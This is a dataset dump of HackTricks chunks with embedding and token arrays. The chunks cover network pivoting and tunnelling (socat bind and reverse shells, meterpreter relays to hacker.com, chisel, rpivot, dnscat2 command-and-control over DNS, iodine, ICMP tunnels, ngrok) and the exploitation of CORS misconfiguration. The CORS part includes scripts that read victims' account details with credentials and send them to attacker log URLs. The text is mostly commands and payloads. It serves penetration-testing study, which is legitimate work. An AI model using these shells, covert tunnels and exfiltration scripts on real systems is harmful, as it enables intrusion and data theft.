text
stringlengths
5
3.08k
embedding
list
tokens
list
database
stringclasses
5 values
file
stringlengths
5
9
chunk
int64
0
192
you don't need to be a local admin to create reverse port forwards on high ports. rport2port localin this case, the port is opened in the beacon host, not in the team server and the traffic is sent to the cobalt strike client ( not to the team server ) and from there to the indicated host : portrportfwd _ local [ bind port ] [ forward host ] [ forward port ] rportfwd _ local stop [ bind port ] regeorgurls : / / github. com / sensepost / regeorgyou need to upload a web file tunnel : ashx | aspx | js | jsp | php | php | jsppython regeorgsocksproxy. py - p 8080 - u url can download it from the releases page of url you need to use the same version for client and serversocks. / chisel server - p 8080 - - reverse # server - - attacker. / chisel - x64. exe client 10. 10. 14. 3 : 8080 r : socks # client - - victim # and now you can use proxychains with port 1080 ( default ). / chisel server - v - p 8080 - - socks5 # server - - victim ( needs to have port 8080 exposed ). / chisel client - v 10. 10. 10. 10 : 8080 socks # attackerport forwarding. / chisel _ 1. 7. 6 _ linux _ amd64 server - p 12312 - - reverse # server - - attacker. / chisel _ 1. 7. 6 _ linux _ amd64 client 10. 10. 14. 20 : 12312 r : 4505 : 127. 0. 0. 1 : 4505 # client - - victimrpivoturls : / / github. com / klsecservices / rpivotreverse tunnel. the tunnel is started from the victim. a socks4 proxy is created on 127. 0. 0. 1 : 1080attacker > python server. py - - server - port 9999 - - server - ip 0. 0. 0. 0 - - proxy - ip 127. 0. 0. 1 - - proxy - port 1080victim > python client. py - - server - ip < rpivot _ server _ ip > - - server - port 9999pivot through nt
[ 0.2502971887588501, -0.32835152745246887, -0.7182753682136536, 0.4952643811702728, -0.3268671929836273, -0.3502424657344818, -0.19786149263381958, 0.4341478645801544, 0.5519903302192688, 0.9480230212211609, 0.4036312401294708, 0.6041139364242554, 0.8289048075675964, -0.844185471534729, -...
[ 2017, 2123, 1005, 1056, 2342, 2000, 2022, 1037, 2334, 4748, 10020, 2000, 3443, 7901, 3417, 19390, 2006, 2152, 8831, 1012, 1054, 6442, 2475, 6442, 2334, 2378, 2023, 2553, 1010, 1996, 3417, 2003, 2441, 1999, 1996, 14400, 3677, 1010, 2025, 1...
hack_tricks
15.txt
3
##lm proxyvictim > python client. py - - server - ip < rpivot _ server _ ip > - - server - port 9999 - - ntlm - proxy - ip < proxy _ ip > - - ntlm - proxy - port 8080 - - domain contoso. com - - username alice - - password p @ ssw0rdvictim > python client. py - - server - ip < rpivot _ server _ ip > - - server - port 9999 - - ntlm - proxy - ip < proxy _ ip > - - ntlm - proxy - port 8080 - - domain contoso. com - - username alice - - hashes 9b9850751be2515c8231e5189015bbe6 : 49ef7638d69a01f26d96ed673bf50c45socaturls : / / github. com / andrew - d / static - binariesbind shellvictim > socat tcp - listen : 1337, reuseaddr, fork exec : bash, pty, stderr, setsid, sigint, saneattacker > socat file : ` tty `, raw, echo = 0 tcp4 : < victim _ ip > : 1337reverse shellattacker > socat tcp - listen : 1337, reuseaddr file : ` tty `, raw, echo = 0victim > socat tcp4 : < attackers _ ip > : 1337 exec : bash, pty, stderr, setsid, sigint, saneport2portsocat tcp4 - listen : < lport >, fork tcp4 : < redirect _ ip > : < rport > & port2port through sockssocat tcp4 - listen : 1234, fork socks4a : 127. 0. 0. 1 : google. com : 80, socksport = 5678meterpreter through ssl socat # create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker > socat openssl - listen : 443, cert = server. pem, cafile = client. crt, reuseaddr, fork, verify = 1 tcp : 127. 0. 0. 1 : 3333vic
[ 0.0794115960597992, -0.26371103525161743, -0.7414253354072571, 0.23735669255256653, -0.5043108463287354, -0.08886454999446869, -0.28594741225242615, 0.1538580358028412, 0.2912035584449768, 0.6076468229293823, 0.09590617567300797, 0.024015290662646294, 0.21814383566379547, -0.03218621388077...
[ 13728, 24540, 7903, 3775, 2213, 1028, 18750, 7396, 1012, 1052, 2100, 1011, 1011, 8241, 1011, 12997, 1026, 1054, 8197, 22994, 1035, 8241, 1035, 12997, 1028, 1011, 1011, 8241, 1011, 3417, 25897, 2683, 1011, 1011, 23961, 13728, 1011, 24540, 10...
hack_tricks
15.txt
4
##tim > socat. exe tcp - listen : 2222 openssl, verify = 1, cert = client. pem, cafile = server. crt, connect - timeout = 5 | tcp : hacker. com : 443, connect - timeout = 5 # execute the meterpreteryou can bypass a non - authenticated proxy executing this line instead of the last one in the victim's console : openssl, verify = 1, cert = client. pem, cafile = server. crt, connect - timeout = 5 | proxy : hacker. com : 443, connect - timeout = 5 | tcp : proxy. lan : 8080, connect - timeout = 5urls : / / funoverip. net / 2011 / 01 / reverse - ssl - backdoor - with - socat - and - metasploit / ssl socat tunnel / bin / sh consolecreate certificates on both sides : client and server # execute these commands on both sidesfilename = socatsslopenssl genrsa - out $ filename. key 1024openssl req - new - key $ filename. key - x509 - days 3653 - out $ filename. crtcat $ filename. key $ filename. crt > $ filename. pemchmod 600 $ filename. key $ filename. pemattacker - listener > socat openssl - listen : 433, reuseaddr, cert = server. pem, cafile = client. crt exec : / bin / shvictim > socat stdio openssl - connect : localhost : 433, cert = client. pem, cafile = server. crtremote port2portconnect the local ssh port ( 22 ) to the 443 port of the attacker hostattacker > sudo socat tcp4 - listen : 443, reuseaddr, fork tcp4 - listen : 2222, reuseaddr # redirect port 2222 to port 443 in localhost victim > while true ; do socat tcp4 : < attacker > : 443 tcp4 : 127. 0. 0. 1 : 22 ; done # establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker > ssh
[ 0.4629230499267578, -0.1372472643852234, -0.17531223595142365, 1.0284790992736816, 0.23090878129005432, -0.12936173379421234, -0.24723981320858002, 0.33783143758773804, 0.662007749080658, 0.03340483829379082, -0.0534554086625576, -0.04223394766449928, 0.23892821371555328, -0.37723782658576...
[ 3775, 2213, 1028, 27084, 4017, 1012, 4654, 2063, 22975, 2361, 1011, 4952, 1024, 19015, 2475, 7480, 14540, 1010, 20410, 1027, 1015, 1010, 8292, 5339, 1027, 7396, 1012, 21877, 2213, 1010, 24689, 9463, 1027, 8241, 1012, 13675, 2102, 1010, 7532...
hack_tricks
15.txt
5
localhost - p 2222 - l www - data - i vulnerable # connects to the ssh of the victimplink. exeit's like a console putty version ( the options are very similar to an ssh client ). as this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. then, to forward only locally accessible port to a port in our machine : echo y | plink. exe - l < our _ valid _ username > - pw < valid _ password > [ - p < port > ] - r < port _ in _ our _ host > : < next _ ip > : < final _ port > < your _ ip > echo y | plink. exe - l root - pw password [ - p 2222 ] - r 9090 : 127. 0. 0. 1 : 9090 10. 11. 0. 41 # local port 9090 to out port 9090windows netshport2portyou need to be a local admin ( for any port ) netsh interface portproxy add v4tov4 listenaddress = listenport = connectaddress = connectport = protocol = tcp # example : netsh interface portproxy add v4tov4 listenaddress = 0. 0. 0. 0 listenport = 4444 connectaddress = 10. 10. 10. 10 connectport = 4444 # check the port forward was created : netsh interface portproxy show v4tov4 # delete port forwardnetsh interface portproxy delete v4tov4 listenaddress = 0. 0. 0. 0 listenport = 4444socksoverrdp & proxifieryou need to have rdp access over the system. download : 1. socksoverrdp x64 binaries - this tool uses dynamic virtual channels ( dvc ) from the remote desktop service feature of windows. dvc is responsible for tunneling packets over the rdp connection. 2. proxifier portable binaryin your client computer load socksoverrdp - plugin. dll like this : # load socksoverrdp. dll using regsvr32. exec : \ socksoverrdp - x64 > regsvr32. exe socksoverrdp - plugin. dllnow we can connect to the victim over rd
[ 0.46714210510253906, 0.09287184476852417, -0.7124293446540833, 0.6386491060256958, -0.7069851756095886, -0.1475452482700348, -0.38229072093963623, 0.49060797691345215, 0.4122737944126129, 0.4154667556285858, 0.08889064937829971, -0.06689371168613434, 0.31161245703697205, -0.316259682178497...
[ 2334, 15006, 2102, 1011, 1052, 19015, 2475, 1011, 1048, 7479, 1011, 2951, 1011, 1045, 8211, 1001, 8539, 2000, 1996, 7020, 2232, 1997, 1996, 6778, 28296, 2243, 1012, 4654, 20175, 1005, 1055, 2066, 1037, 10122, 2404, 3723, 2544, 1006, 1996, ...
hack_tricks
15.txt
6
##p using mstsc. exe, and we should receive a prompt saying that the socksoverrdp plugin is enabled, and it will listen on 127. 0. 0. 1 : 1080. connect via rdp and upload & execute in the victim machine the * * socksoverrdp - server. exe * * binary : c : \ socksoverrdp - x64 > socksoverrdp - server. exenow, confirm in you machine ( attacker ) that the port 1080 is listening : netstat - antb | findstr 1080now you can use proxifier to proxy the traffic through that port. proxify windows gui appsyou can make windows gui apps navigate through a proxy using proxifier. in profile - > proxy servers add the ip and port of the socks server. in profile - > proxification rules add the name of the program to proxify and the connections to the ips you want to proxify. ntlm proxy bypassthe previously mentioned tool : rpivot openvpn can also bypass it, setting these options in the configuration file : url - proxy < proxy _ ip > 8080 < file _ with _ creds > ntlmcntlmurl : / / cntlm. sourceforge. net / it authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. then, you can use the tool of your choice through this port. for example that forward port 443username alice password p @ ssw0rd domain contoso. com proxy 10. 0. 0. 10 : 8080 tunnel 2222 : < attackers _ machine > : 443now, if you set for example in the victim the ssh service to listen in port 443. you can connect to it through the attacker port 2222. you could also use a meterpreter that connects to localhost : 443 and the attacker is listening in port 2222. yarpa reverse proxy created by microsoft. you can find it here : url tunnelingiodineurls : / / code. kryo. se / iodine / root is needed in both systems to create tun adapters and tunnel data between them using dns queries. attacker > iodined - f - c - p p @ ssw0rd 1. 1. 1. 1 tunneldomain. comvictim > iodine - f
[ 0.2635970115661621, -0.10709235817193985, -0.3791791796684265, 0.49181246757507324, -0.6191755533218384, -0.4043371081352234, -0.33489689230918884, 0.5213108062744141, 0.7225304245948792, 0.3980255722999573, -0.3473656475543976, -0.008412252180278301, 0.3266095817089081, -0.700027287006378...
[ 2361, 2478, 5796, 3215, 2278, 1012, 4654, 2063, 1010, 1998, 2057, 2323, 4374, 1037, 25732, 3038, 2008, 1996, 14829, 7840, 4103, 2361, 13354, 2378, 2003, 9124, 1010, 1998, 2009, 2097, 4952, 2006, 13029, 1012, 1014, 1012, 1014, 1012, 1015, ...
hack_tricks
15.txt
7
- p p @ ssw0rd tunneldomain. com - r # you can see the victim at 1. 1. 1. 2the tunnel will be very slow. you can create a compressed ssh connection through this tunnel by using : ssh < user > @ 1. 1. 1. 2 - c - c blowfish - cbc, arcfour - o compressionlevel = 9 - d 1080dnscat2 * * * * download it from here. establishes a c & c channel through dns. it doesn't need root privileges. attacker > ruby. / dnscat2. rb tunneldomain. comvictim >. / dnscat2 tunneldomain. com # if using it in an internal network for a ctf : attacker > ruby dnscat2. rb - - dns host = 10. 10. 10. 10, port = 53, domain = mydomain. local - - no - cachevictim >. / dnscat2 - - dns host = 10. 10. 10. 10, port = 5353in powershellyou can use dnscat2 - powershell to run a dnscat2 client in powershell : import - module. \ dnscat2. ps1start - dnscat2 - dnsserver 10. 10. 10. 10 - domain mydomain. local - presharedsecret somesecret - exec cmd port forwarding with dnscatsession - i < sessions _ id > listen [ lhost : ] lport rhost : rport # ex : listen 127. 0. 0. 1 : 8080 10. 0. 0. 20 : 80, this bind 8080port in attacker hostchange proxychains dnsproxychains intercepts gethostbyname libc call and tunnels tcp dns request through the socks proxy. by default the dns server that proxychains use is 4. 2. 2. 2 ( hardcoded ). to change it, edit the file : / usr / lib / proxychains3 / proxyresolv and change the ip. if you are in a windows environment you could set the ip of the domain controller. tunnels in gourls : / / github. com / hotnops / gtunnelicmp tunnelinghansurls : / / github. com / friedrich
[ 0.30071938037872314, -0.15388257801532745, -0.017103005200624466, -0.261272668838501, -0.16487547755241394, 0.1725415587425232, -0.003289940534159541, 0.06038491427898407, 0.30969294905662537, 1.1511993408203125, 0.4393918514251709, -0.16065466403961182, 0.3658735752105713, -0.515124022960...
[ 1011, 1052, 1052, 1030, 7020, 2860, 2692, 4103, 5234, 9527, 8113, 1012, 4012, 1011, 1054, 1001, 2017, 2064, 2156, 1996, 6778, 2012, 1015, 1012, 1015, 1012, 1015, 1012, 1016, 10760, 5234, 2097, 2022, 2200, 4030, 1012, 2017, 2064, 3443, 103...
hack_tricks
15.txt
8
/ hans url is needed in both systems to create tun adapters and tunnel data between them using icmp echo requests.. / hans - v - f - s 1. 1. 1. 1 - p p @ ssw0rd # start listening ( 1. 1. 1. 1 is ip of the new vpn connection ). / hans - f - c < server _ ip > - p p @ ssw0rd - vping 1. 1. 1. 100 # after a successful connection, the victim will be in the 1. 1. 1. 100ptunnel - ng * * * * download it from here. # generate itsudo. / autogen. sh # server - - victim ( needs to be able to receive icmp ) sudo ptunnel - ng # client - attackersudo ptunnel - ng - p < server _ ip > - l < listen _ port > - r < dest _ ip > - r < dest _ port > # try to connect with ssh through icmp tunnelssh - p 2222 - l user 127. 0. 0. 1 # create a socks proxy through the ssh connection through the icmp tunnelssh - d 9050 - p 2222 - l user 127. 0. 0. 1ngrokngrok is a tool to expose solutions to internet in one command line. exposition uri are like : uid. ngrok. ioinstallationcreate an account : url download : tar xvzf ~ / downloads / ngrok - v3 - stable - linux - amd64. tgz - c / usr / local / binchmod a + x. / ngrok # init configuration, with your token. / ngrok config editbasic usagesdocumentation : url is also possible to add authentication and tls, if necessary. tunneling tcp # pointing to 0. 0. 0. 0 : 4444. / ngrok tcp 4444 # example of resulting link : 0. tcp. ngrok. io : 12345 # listen ( example ) : nc - nvlp 4444 # remote connect ( example ) : nc $ ( dig + short 0. tcp. ngrok. io ) 12345exposing files with http. / ngrok url file : / / / tmp / urlbin / # example of resulting link : urls : / / abcd - 1 -
[ 0.1507900357246399, -0.3300495445728302, -0.3789950907230377, 0.2343677580356598, -0.3709118664264679, 0.0006732884212397039, 0.1883574277162552, -0.27226972579956055, -0.2513633072376251, 0.7815226316452026, 0.03555053845047951, 0.4790186583995819, 0.7839778661727905, -0.8819758296012878,...
[ 1013, 7003, 24471, 2140, 2003, 2734, 1999, 2119, 3001, 2000, 3443, 27112, 15581, 2545, 1998, 5234, 2951, 2090, 2068, 2478, 24582, 8737, 9052, 11186, 1012, 1012, 1013, 7003, 1011, 1058, 1011, 1042, 1011, 1055, 1015, 1012, 1015, 1012, 1015, ...
hack_tricks
15.txt
9
2 - 3 - 4. ngrok. io / sniffing http callsuseful for xss, ssrf, ssti... directly from stdout or in the http interface url : / / 127. 0. 0. 1 : 4040. tunneling internal http service. / ngrok url localhost : 8080 - - host - header = rewrite # example of resulting link : urls : / / abcd - 1 - 2 - 3 - 4. ngrok. io / # with basic auth. / ngrok url localhost : 8080 - - host - header = rewrite - - auth = " myuser : mysuperpassword " ngrok. yaml simple configuration exampleit opens 3 tunnels : 2 tcp1 http with static files exposition from / tmp / urlbin / tunnels : mytcp : addr : 4444 proto : tcp anothertcp : addr : 5555 proto : tcp urlstatic : proto : url addr : file : / / / tmp / urlbin / other tools to checkurls : / / github. com / securesocketfunneling / ssfurls : / / github. com / z3apa3a / 3proxygeneric methodologies & resources - [SEP]
[ 0.2661544680595398, 0.6478669047355652, -0.07726559042930603, -0.0552528090775013, 0.029663309454917908, -0.5350751280784607, -0.5159696936607361, -0.053783103823661804, -0.12529507279396057, 1.9256380796432495, 0.3559108078479767, 0.2584579586982727, 0.9461326003074646, -0.214805424213409...
[ 1016, 1011, 1017, 1011, 1018, 1012, 12835, 27923, 1012, 22834, 1013, 27646, 8299, 4455, 8557, 3993, 2005, 1060, 4757, 1010, 20896, 2546, 1010, 7020, 3775, 1012, 1012, 1012, 3495, 2013, 2358, 26797, 2102, 2030, 1999, 1996, 8299, 8278, 24471,...
hack_tricks
15.txt
10
[CLS] cors - misconfigurations & bypasswhat is cors? the cors ( cross - origin resource sharing ) standard is needed because it allows servers to specify who can access its assets and which http request methods are allowed from external resources. a same - origin policy, requiers that both the server requesting a resource and the server where the resource is located uses the same protocol ( http : / / ), domain name ( internal - web. com ) and the same port ( 80 ). then, if the server forces the same - origin policy, only web pages from the same domain and port will be able to access the resources. the following table shows how the same - origin policy will be applied in url : url accessedaccess permitted? http : / / normal - website. com / example / yes : same scheme, domain, and porthttp : / / normal - website. com / example2 / yes : same scheme, domain, and porthttps : / / normal - website. com / example / no : different scheme and porthttp : / / en. normal - website. com / example / no : different domainhttp : / / www. normal - website. com / example / no : different domainhttp : / / normal - website. com : 8080 / example / no : different port * * internet explorer will allow this access because ie does not take account of the port number when applying the same - origin policy. access - control - allow - origin headerthe specification of access - control - allow - origin allows for multiple origins, or the value null, or the wildcard *. however, no browser supports multiple origins and there are restrictions on the use of the wildcard *. ( the wildcard can only be used alone, this will fail access - control - allow - origin : url and it cannot be used with access - control - allow - credentials : true ) this header is returned by a server when a website requests a cross - domain resource, with an origin header added by the browser. access - control - allow - credentials headerthe default behaviour of cross - origin resource requests is for requests to be passed without credentials like cookies and the authorization header. however, the cross - domain server can permit reading of the response when credentials are passed to it by setting the cors access - control - allow - credentials header to true. if the value is set to truethen the browser will send credentials ( cookies, authorization headers
[ -0.2603400945663452, -0.576130747795105, -0.3042535185813904, 0.3650643825531006, -0.45504528284072876, 0.01568695530295372, -0.16422167420387268, -0.15731246769428253, 0.45159482955932617, 1.0468697547912598, -0.11947467923164368, -0.232724130153656, 0.4030011296272278, -0.509811520576477...
[ 101, 2522, 2869, 1011, 28616, 8663, 8873, 27390, 10708, 1004, 11826, 2860, 12707, 2003, 2522, 2869, 1029, 1996, 2522, 2869, 1006, 2892, 1011, 4761, 7692, 6631, 1007, 3115, 2003, 2734, 2138, 2009, 4473, 14903, 2000, 20648, 2040, 2064, 3229, ...
hack_tricks
150.txt
0
or tls client certificates ). var xhr = new xmlhttprequest ( ) ; xhr. onreadystatechange = function ( ) { if ( xhr. readystate = = = xmlhttprequest. done & & xhr. status = = = 200 ) { console. log ( xhr. responsetext ) ; } } xhr. open ('get ','http : / / example. com / ', true ) ; xhr. withcredentials = true ; xhr. send ( null ) ; fetch ( url, { credentials :'include'} ) const xhr = new xmlhttprequest ( ) ; xhr. open ('post ','https : / / bar. other / resources / post - here /') ; xhr. setrequestheader ('x - pingother ','pingpong') ; xhr. setrequestheader ('content - type ','application / xml') ; xhr. onreadystatechange = handler ; xhr. send ('< person > < name > arun < / name > < / person >') ; pre - flight requestunder certain circumstances, when a cross - domain request : includes a non - standard http method ( head, get, post ) includes new headersincludes special content - type header valuecheck in this link the conditions of a request to avoid sending of a pre - flight requestthe cross - origin request is preceded by a request using the options method, and the cors protocol necessitates an initial check on what methods and headers are permitted prior to allowing the cross - origin request. this is called the pre - flight check. the server returns a list of allowed methods in addition to the trusted origin and the browser checks to see if the requesting website's method is allowed. note that even if a pre - flight request isn't sent because the " regular request " conditions are respected, the response needs to have the authorization headers or the browser won't be able to read the response of the request. for example, this is a pre - flight request that is seeking to use the put method together with a custom request header called special - request - header : options / data http / 1. 1host : < some website >... origin : url putaccess - control - request - headers : special -
[ 0.3018110394477844, -0.7010443210601807, 0.06816855818033218, 0.5190121531486511, -0.23059190809726715, -0.18304532766342163, -0.6232563853263855, 0.38479313254356384, 0.22325439751148224, 0.6661747097969055, 0.15087130665779114, -0.5097722411155701, 0.4009009003639221, -0.1738550662994384...
[ 2030, 1056, 4877, 7396, 17987, 1007, 1012, 13075, 1060, 8093, 1027, 2047, 20950, 11039, 25856, 2890, 15500, 1006, 1007, 1025, 1060, 8093, 1012, 2006, 16416, 5149, 9153, 15007, 22043, 1027, 3853, 1006, 1007, 1063, 2065, 1006, 1060, 8093, 101...
hack_tricks
150.txt
1
request - headerthe server might return a response like the following : http / 1. 1 204 no content... access - control - allow - origin : url put, post, optionsaccess - control - allow - headers : special - request - headeraccess - control - allow - credentials : trueaccess - control - max - age : 240access - control - allow - headers allowed headersaccess - control - expose - headersaccess - control - max - age defines a maximum timeframe for caching the pre - flight response for reuseaccess - control - request - headers the header the cross - origin request wants to sendaccess - control - request - method the method the cross - origin request wants to useorigin origin of the cross - origin request ( set automatically by the browser ) note that usually ( depending on the content - type and headers set ) in a get / post request no pre - flight request is sent ( the request is sent directly ), but if you want to access the headers / body of the response, it must contains an access - control - allow - origin header allowing it. therefore, cors doesn't protect against csrf ( but it can be helpful ). local network requests pre - flight requestwhen a request is sent to a local network ip address, 2 additional cors headers are sent : the access - control - request - local - network client request header indicates that the request is a local network requestthe access - control - allow - local - network server response header indicates that a resource can be safely shared with external networksa valid response allowing the local network request needs to have also in the response the header access - controls - allow - local _ network : true : http / 1. 1 200 ok... access - control - allow - origin : url getaccess - control - allow - credentials : trueaccess - control - allow - local - network : truecontent - length : 0... note that the linux 0. 0. 0. 0 ip works to bypass these requirements to access localhost as that ip address is not considered " local ". it's also possible to bypass the local network requirements if you use the public ip address of a local endpoint ( like the public ip of the router ). because in several occations, even if the public ip is being accessed, if it's from the local
[ 0.3085947334766388, -0.32787591218948364, 0.08392549306154251, 0.5024264454841614, -0.04705645143985748, -0.07594544440507889, -0.29616060853004456, -0.012752236798405647, 0.5091933608055115, 0.3403226435184479, 0.018640365451574326, -0.58315110206604, 0.5595928430557251, -0.40172338485717...
[ 5227, 1011, 20346, 10760, 8241, 2453, 2709, 1037, 3433, 2066, 1996, 2206, 1024, 8299, 1013, 1015, 1012, 1015, 19627, 2053, 4180, 1012, 1012, 1012, 3229, 1011, 2491, 1011, 3499, 1011, 4761, 1024, 24471, 2140, 2404, 1010, 2695, 1010, 7047, ...
hack_tricks
150.txt
2
network, access will be granted. exploitable misconfigurationsnotice that most of the real attacks require access - control - allow - credentials to be set to true because this will allow the browser to send the credentials and read the response. without credentials, many attacks become irrelevant ; it means you can't ride on a user's cookies, so there is often nothing to be gained by making their browser issue the request rather than issuing it yourself. one notable exception is when the victim's network location functions as a kind of authentication. you can use a victim ’ s browser as a proxy to bypass ip - based authentication and access intranet applications. in terms of impact this is similar to dns rebinding, but much less fiddly to exploit. reflected origin in access - control - allow - originin the real world this cannot happen as these 2 values of the headers are forbidden together. it is also true that a lot of developers want to allow several urls in the cors, but subdomain wildcards or lists of urls aren't allowed. then, several developers generate the * * access - control - allow - origin * * header dynamically, and in more than one occasion they just copy the value of the origin header. in that case, the same vulnerability might be exploited. in other cases, the developer could check that the domain ( victimdomain. com ) appears in the origin header, then, an attacker can use a domain called attackervictimdomain. com to steal the confidential information. < script > var req = new xmlhttprequest ( ) ; req. onload = reqlistener ; req. open ('get ','https : / / acc21f651fde5631c03665e000d90048. web - security - academy. net / accountdetails ', true ) ; req. withcredentials = true ; req. send ( ) ; function reqlistener ( ) { location ='/ log? key ='+ this. responsetext ; } ; < / script > the null originnull is a special value for the origin header. the specification mentions it being triggered by redirects, and local html files. some applications might whitelist the null origin to support local development of the application. this is nice because several application will allow this value inside the cors and any website can easily obtain the null origin using a
[ 0.05153872072696686, -0.6794225573539734, -0.23026558756828308, 0.4543846845626831, -0.3195333778858185, -0.15117822587490082, -0.6553125977516174, -0.20724569261074066, 0.20690986514091492, 0.9361969232559204, 0.03993257135152817, -0.7258837223052979, 0.36896759271621704, -0.5414370894432...
[ 2897, 1010, 3229, 2097, 2022, 4379, 1012, 18077, 3085, 28616, 8663, 8873, 27390, 10708, 17048, 6610, 2008, 2087, 1997, 1996, 2613, 4491, 5478, 3229, 1011, 2491, 1011, 3499, 1011, 22496, 2000, 2022, 2275, 2000, 2995, 2138, 2023, 2097, 3499, ...
hack_tricks
150.txt
3
sandboxed iframe : < iframe sandbox = " allow - scripts allow - top - navigation allow - forms " src = " data : text / html, < script > var req = new xmlhttprequest ( ) ; req. onload = reqlistener ; req. open ('get ','https : / / acd11ffd1e49837fc07b373a00eb0047. web - security - academy. net / accountdetails ', true ) ; req. withcredentials = true ; req. send ( ) ; function reqlistener ( ) { location ='https : / / exploit - accd1f8d1ef98341c0bc370201c900f2. web - security - academy. net / / log? key ='+ encodeuricomponent ( this. responsetext ) ; } ; < / script > " > < / iframe > < iframe sandbox = " allow - scripts allow - top - navigation allow - forms " srcdoc = " < script > var req = new xmlhttprequest ( ) ; req. onload = reqlistener ; req. open ('get ','https : / / acd11ffd1e49837fc07b373a00eb0047. web - security - academy. net / accountdetails ', true ) ; req. withcredentials = true ; req. send ( ) ; function reqlistener ( ) { location ='https : / / exploit - accd1f8d1ef98341c0bc370201c900f2. web - security - academy. net / / log? key ='+ encodeuricomponent ( this. responsetext ) ; } ; < / script > " > < / iframe > regexp bypassesif you found the domain victim. com to be whitelisted you should check if victim. com. attacker. com is whitelisted also, or, in case you can takeover some subdomain, check if somesubdomain. victim. com is whitelisted. advance regexp bypassesmost of the regex used to identify the domain inside the string will focus on alphanumeric asci
[ 0.5370711088180542, -0.3474442660808563, -0.2901556193828583, 0.6147556304931641, 0.011340770870447159, -0.2245239019393921, -0.8304165601730347, 0.5085365176200867, 0.32908880710601807, 0.2683439254760742, 0.0603964664041996, 0.23553769290447235, 0.31475722789764404, -0.17907533049583435,...
[ 5472, 8758, 2098, 2065, 6444, 2063, 1024, 1026, 2065, 6444, 2063, 5472, 8758, 1027, 1000, 3499, 1011, 14546, 3499, 1011, 2327, 1011, 9163, 3499, 1011, 3596, 1000, 5034, 2278, 1027, 1000, 2951, 1024, 3793, 1013, 16129, 1010, 1026, 5896, 10...
hack_tricks
150.txt
4
##i characters and. -. then, something like victimdomain. com {. attacker. com inside the origin header will be interpreted by the regexp as if the domain was victimdomain. com but the browser ( in this case safari supports this character in the domain ) will access the domainattacker. com. the _ character ( in subdomains ) is not only supported in safari, but also in chrome and firefox! then, using one of those subdomains you could bypass some " common " regexps to find the main domain of a url. for more information and settings of this bypass check : url and url xss inside a subdomainone defensive mechanism developers use against cors exploitation is to white - list domains that frequently requests access for information. however, this isn ’ t entirely secure, because if even one of the subdomains of the whitelisted domain is vulnerable to other exploits such as xss, it can enable cors exploitation. let us consider an example, the following code shows the configuration that allows subdomains of requester. com to access resources of provider. com. if ( $ _ server ['http _ host'] = ='*. requester. com') { / / access data else { / / unauthorized access } } assuming that a user has access to sub. requester. com but not requester. com, and assuming that sub. requester. com is vulnerable to xss. the user can exploit provider. com by using cross - site scripting attack method. server - side cache poisoningif the stars are aligned we may be able to use server - side cache poisoning via http header injection to create a stored xss vulnerability. if an application reflects the origin header without even checking it for illegal characters like, we effectively have a http header injection vulnerability against ie / edge users as internet explorer and edge view \ r ( 0x0d ) as a valid http header terminator : get / http / 1. 1 origin : z [ 0x0d ] content - type : text / html ; charset = utf - 7internet explorer sees the response as : http / 1. 1 200 ok access - control - allow - origin : z content - type : text / html ; charset = utf - 7this isn't directly exploitable because there's no way for an attacker to make someone's web browser send such a malformed header, but i can manually
[ 0.4084164500236511, 0.09071940183639526, -0.07253041863441467, -0.17613418400287628, -0.09733223915100098, -0.24193324148654938, -0.16055096685886383, 0.20300330221652985, 0.5502338409423828, 0.9428303241729736, 0.12600168585777283, 0.005939045455306768, 0.5803965330123901, -0.276350557804...
[ 2072, 3494, 1998, 1012, 1011, 1012, 2059, 1010, 2242, 2066, 6778, 9527, 8113, 1012, 4012, 1063, 1012, 17346, 1012, 4012, 2503, 1996, 4761, 20346, 2097, 2022, 10009, 2011, 1996, 19723, 10288, 2361, 2004, 2065, 1996, 5884, 2001, 6778, 9527, ...
hack_tricks
150.txt
5
craft this request in burp suite and a server - side cache may save the response and serve it to other people. the payload i've used will change the page's character set to utf - 7, which is notoriously useful for creating xss vulnerabilities. client - side cache poisoningyou may have occasionally encountered a page with reflected xss in a custom http header. say a web page reflects the contents of a custom header without encoding : get / http / 1. 1 host : example. com x - user - id : & lt ; svg / onload = alert \ ( 1 \ ) & gt ; http / 1. 1 200 ok access - control - allow - origin : \ * access - control - allow - headers : x - user - id content - type : text / html... invalid user : & lt ; svg / onload = alert \ ( 1 \ ) & gt ; \ with cors, we can send any value in the header. by itself, that's useless since the response containing our injected javascript won't be rendered. however, if vary : origin hasn't been specified the response may be stored in the browser's cache and displayed directly when the browser navigates to the associated url. i've made a fiddle to attempt this attack on a url of your choice. since this attack uses client - side caching, it's actually quite reliable. < script > function gotcha ( ) { location = url } var req = new xmlhttprequest ( ) ; url ='https : / / example. com /'; / / beware of mixed content blocking when targeting http sitesreq. onload = gotcha ; req. open ('get ', url, true ) ; req. setrequestheader ( " x - custom - header ", " < svg / onload = alert ( 1 ) > " ) req. send ( ) ; < / script > bypassxssi ( cross - site script inclusion ) / jsonpxssi designates a kind of vulnerability which exploits the fact that, when a resource is included using the script tag, the sop doesn ’ t apply, because scripts have to be able to be included cross - domain. an attacker can thus read everything that was included using the script tag. this is especially interesting when it comes to dynamic javascript or jsonp when so - called ambient -
[ -0.33309879899024963, -0.14456303417682648, -0.31965798139572144, 0.5843247175216675, -0.3537988066673279, -0.12894657254219055, -0.8786366581916809, 0.08981014788150787, 1.08695650100708, 0.3393843472003937, 0.009151613339781761, 0.2077733278274536, 0.4492316246032715, 0.25406795740127563...
[ 7477, 2023, 5227, 1999, 20934, 14536, 7621, 1998, 1037, 8241, 1011, 2217, 17053, 2089, 3828, 1996, 3433, 1998, 3710, 2009, 2000, 2060, 2111, 1012, 1996, 18093, 1045, 1005, 2310, 2109, 2097, 2689, 1996, 3931, 1005, 1055, 2839, 2275, 2000, ...
hack_tricks
150.txt
6
authority information like cookies are used for authentication. the cookies are included when requesting a resource from a different host. burpsuite plugin : url more about the difefrent types of xssi and how to exploit them here. try to add a callback parameter in the request. maybe the page was prepared to send the data as jsonp. in that case the page will send back the data with content - type : application / javascript which will bypass the cors policy. easy ( useless? ) bypassyou can ask a web - application to make a request for you and send back the response. this will bypass the access - control - allow - origin but notice that the credentials to the final victim won't be sent as you will be contacting a different domain ( the one that will make the request for you ). cors - escapecors - escape provides a proxy that passes on our request along with its headers, and it also spoofs the origin header ( origin = requested domain ). so the cors policy is bypassed. the source code is on github, so you can host your own. xhr. open ( " get ", " https : / / cors - escape. herokuapp. com / https : / / maximum. blog / @ shalvah / posts " ) ; simple - cors - escapeproxying is kinda like β€œ passing on " your request, exactly as you 